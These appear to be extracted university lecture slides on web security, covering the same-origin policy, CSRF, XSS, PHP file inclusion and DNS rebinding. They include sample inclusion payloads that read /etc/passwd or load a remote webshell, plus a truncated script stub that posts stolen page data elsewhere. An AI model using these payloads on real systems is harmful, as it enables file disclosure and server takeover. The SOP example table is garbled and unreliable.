Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)

Today XSS – Cross Site Scripting SOP - Same origin policy CSRF – Cross site request Forgery PHP file inclusion vulnerabilities DNS rebinding (if we have time)

Original Problem Problem: $.get(" function(data) { $.post(“ {maildata: data}); }); Solution: SOP XMLHttpRequest cannot load Origin website.com is not allowed by Access-Control- Allow-Origin.

Same Origin Policy Modern sites use elements from many different sources (e.g.: main content, embedded ads, embedded google maps controls, embedded twitter feed, etc.) Without the SOP – we’d have to trust ALL that code With the SOP – interactions are limited by ‘origin’ An origin is the combination of domain name and protocol type

SOP examples Compared URLOutcomeReason http ː // protocol and host http ː // protocol and host http ː // Same protocol and host but different port protocol host Different host (exact match required) Different host (exact match required) http ː // use Port explicit. Depends on implementation in browser.

Cross Site Request Forgery User goes to malicious site Site initiates a request to a different site (e.g.: Gmail) Request is sent using user’s credentials Site accepts request, but due to SOP – the attacker cannot read contents or state (‘blind’ attack) … Profit! Psuedo example:

CSRF - Limitations Cannot spoof referrer header (but few sites check it) Depends on a ‘GET’ request to cause side- effects Blind attack – if the attack depends on any prior info, attacker has to guess Attack must take place while the user is logged in to the target site Solution: Verification based on random input.

XSS – Cross site scripting reloadeed Today, many sites just aggragate user- generated content o Forums o Facebook / Twitter / Reddit o Web mail o Ynet / nrg – ‘talkbacks’ That’s great, but what happens if we trust user submitted content? On a website. A user can submit HTML code Which can be malicious

How malicious are they? Once the malicious code runs in the context of the target site, it can do whatever the original site can o Steal javascript-accessible cookies o Use any aspect of the site’s API Write posts Add friends Delete all user content Send out mass- E.g.: Sammy is my hero

Non persistent XSS User clicks a link with extra parameters, the server reflects it back, without proper sanitation

Persistent XSS Malicious user submits content to the target site via o Forum post / ‘talkback’ / FB post, twitter post o o Etc. Content is not sanitized, and therefore – displayed to the user The user’s browser treats it as code from the target site, thereby bypassing the SOP … Profit!

Questions?

PHP File Inclusion Source: Wikipedia

PHP File Inclusion cont. /vulnerable.php?COLOR= C:\\ftp\\upload\\expl oit - Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability) /vulnerable.php?COLOR= C:\\notes.txt%00 - example using NULLs to remove the.phpsuffix, allowing access to files other than.php /vulnerable.php?COLOR= /etc/passwd%00 - allows an attacker to read the contents of the passwd file on a UNIX system directory traversalUNIXdirectory traversal /vulnerable.php?COLOR= /webshell.txt? - injects a remotely hosted file containing a malicious code

DNS Rebinding CSRF We’ll discuss a very specific example Client has a home router, which we want to access We can get the client to browse to attacker.com But thanks for the SOP – JS code from attacker.com cannot access the router other than blindly (CSRF)

Enter DNS Rebinding The DNS for attacker.com returns two records: o Our web server public address o The requesting client’s address By default, a browser will use the first address, and download our malicious JavaScript That Javascript will make another request to attacker.com But this time – the server will refuse the connection The browser will happily try the next entry

DNS Rebinding cont. But that’s the client’s home router public address… Which should be protected via a FW from access… But since most routers are configured with interface-based rules, and have internal webservers that listen on :80 – it won’t matter – they will answer our client So now our JS code can connect to attacker.com and access the home router! And it can still connect back outside

DNS Rebinding doesn’t work anymore Most routers will use HTTP-authentication You used to be able to browse to: But it has been disabled. All HTTP auth now requires a user dialog Which makes the attack non-feasible Also, there are some browser and network mitigations one can do (DNS pinning, DNS filtering, NoScript, etc.)

Questions?